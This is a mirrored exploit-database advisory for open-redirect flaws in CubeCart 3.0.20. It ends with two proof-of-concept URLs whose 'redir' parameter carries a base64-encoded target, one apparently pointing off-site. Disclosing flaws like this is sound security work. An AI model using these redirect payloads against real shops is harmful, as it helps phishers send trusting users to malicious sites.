CubeCart 3.0.20 – Multiple Script ‘redir’ Arbitrary Site Redirects

• Exploit Database
• 110 阅读

• 作者： Aung Khant
  日期： 2012-02-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36685/
• 1 2 3 4 5 6 7 8 9 10 11

  source: https://www.securityfocus.com/bid/51966/info   CubeCart is prone to a URI-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.   A successful exploit may aid in phishing attacks; other attacks are possible.   CubeCart 3.0.20 is vulnerable; other versions may also be affected.   http://www.example.com/cube/index.php?act=login&redir=Ly95ZWhnLm5ldC8%3D http://www.example.com/cube/cart.php?act=reg&redir=L2N1YmUvaW5kZXgucGhwP2FjdD1sb2dpbg%3D%3D